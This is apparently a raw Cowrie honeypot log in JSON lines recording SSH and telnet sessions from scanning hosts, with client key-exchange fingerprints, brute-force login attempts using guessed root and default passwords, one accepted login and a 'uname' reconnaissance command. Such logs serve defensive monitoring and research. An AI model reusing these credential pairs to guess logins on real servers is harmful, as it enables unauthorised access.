{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:36.911222Z","src_ip":"103.27.238.116","session":"250b86bb9f6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1950","message":"login attempt [root/mama1950] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:37.689149Z","src_ip":"103.27.238.116","session":"250b86bb9f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60728,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18bef9aed83","protocol":"ssh","message":"New connection: 160.187.174.22:60728 (159.203.135.109:22) [session: a18bef9aed83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:38.625885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:38.629220Z","src_ip":"160.187.174.22","session":"a18bef9aed83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:38.863028Z","src_ip":"160.187.174.22","session":"a18bef9aed83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:38.949318Z","src_ip":"103.27.238.116","session":"250b86bb9f6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:39.582013Z","src_ip":"160.187.174.22","session":"a18bef9aed83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:40.089450Z","src_ip":"160.187.174.22","session":"a18bef9aed83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:40.091129Z","src_ip":"160.187.174.22","session":"a18bef9aed83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:40.329706Z","src_ip":"160.187.174.22","session":"a18bef9aed83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:40.332987Z","src_ip":"160.187.174.22","session":"a18bef9aed83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":60023,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ac84a49fa5","protocol":"ssh","message":"New connection: 176.32.193.16:60023 (10.17.0.5:22) [session: 71ac84a49fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:50.499940Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:50.641291Z","src_ip":"176.32.193.16","session":"71ac84a49fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":42726,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3740ee4314","protocol":"ssh","message":"New connection: 50.6.173.74:42726 (10.17.0.5:22) [session: 8f3740ee4314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:57.684351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:57.687999Z","src_ip":"50.6.173.74","session":"8f3740ee4314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:57.713946Z","src_ip":"50.6.173.74","session":"8f3740ee4314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G@t3!0$S3cur3@W0rd","message":"login attempt [root/G@t3!0$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:57.855528Z","src_ip":"50.6.173.74","session":"8f3740ee4314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":49483,"dst_ip":"10.17.0.5","dst_port":22,"session":"444ecfc561e5","protocol":"ssh","message":"New connection: 177.16.244.39:49483 (10.17.0.5:22) [session: 444ecfc561e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:58.091263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:58.093660Z","src_ip":"177.16.244.39","session":"444ecfc561e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:58.219094Z","src_ip":"177.16.244.39","session":"444ecfc561e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme123","message":"login attempt [root/changeme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:58.756135Z","src_ip":"177.16.244.39","session":"444ecfc561e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40358,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6cd764a131a","protocol":"telnet","message":"New connection: 170.64.224.25:40358 (159.203.135.109:23) [session: f6cd764a131a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:58.849409Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:58.882865Z","src_ip":"50.6.173.74","session":"8f3740ee4314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:59.883641Z","src_ip":"177.16.244.39","session":"444ecfc561e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":56744,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c0281d5d94","protocol":"ssh","message":"New connection: 143.20.185.207:56744 (159.203.135.109:22) [session: 42c0281d5d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:04.907711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:04.946554Z","src_ip":"143.20.185.207","session":"42c0281d5d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:05.031772Z","src_ip":"143.20.185.207","session":"42c0281d5d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#4VCPU8GBAMD","message":"login attempt [root/XYZZVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:05.532575Z","src_ip":"143.20.185.207","session":"42c0281d5d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:06.734326Z","src_ip":"143.20.185.207","session":"42c0281d5d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":40496,"dst_ip":"159.203.135.109","dst_port":22,"session":"459b65867637","protocol":"ssh","message":"New connection: 160.187.174.22:40496 (159.203.135.109:22) [session: 459b65867637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:08.415064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:08.419621Z","src_ip":"160.187.174.22","session":"459b65867637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:08.693900Z","src_ip":"160.187.174.22","session":"459b65867637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:09.445495Z","src_ip":"160.187.174.22","session":"459b65867637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:10.693958Z","src_ip":"160.187.174.22","session":"459b65867637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.46312761306763,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:11.478777Z","src_ip":"170.64.224.25","session":"c99c5e26c808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce86f5588088","protocol":"ssh","message":"New connection: 176.32.193.16:56458 (10.17.0.5:22) [session: ce86f5588088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:19.465768Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:19.609758Z","src_ip":"176.32.193.16","session":"ce86f5588088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":56472,"dst_ip":"10.17.0.5","dst_port":22,"session":"27da3921c704","protocol":"ssh","message":"New connection: 176.32.193.16:56472 (10.17.0.5:22) [session: 27da3921c704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:19.743929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:19.747728Z","src_ip":"176.32.193.16","session":"27da3921c704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:19.886361Z","src_ip":"176.32.193.16","session":"27da3921c704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:20.032031Z","src_ip":"176.32.193.16","session":"27da3921c704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.02104139328003,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:38.127941Z","src_ip":"170.64.224.25","session":"18ed226606ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46164,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa3b8201b0c","protocol":"ssh","message":"New connection: 160.187.174.22:46164 (159.203.135.109:22) [session: aaa3b8201b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:38.198226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:38.204707Z","src_ip":"160.187.174.22","session":"aaa3b8201b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:23:38.459607Z","src_ip":"160.187.174.22","session":"aaa3b8201b0c","protocol":"ssh"}
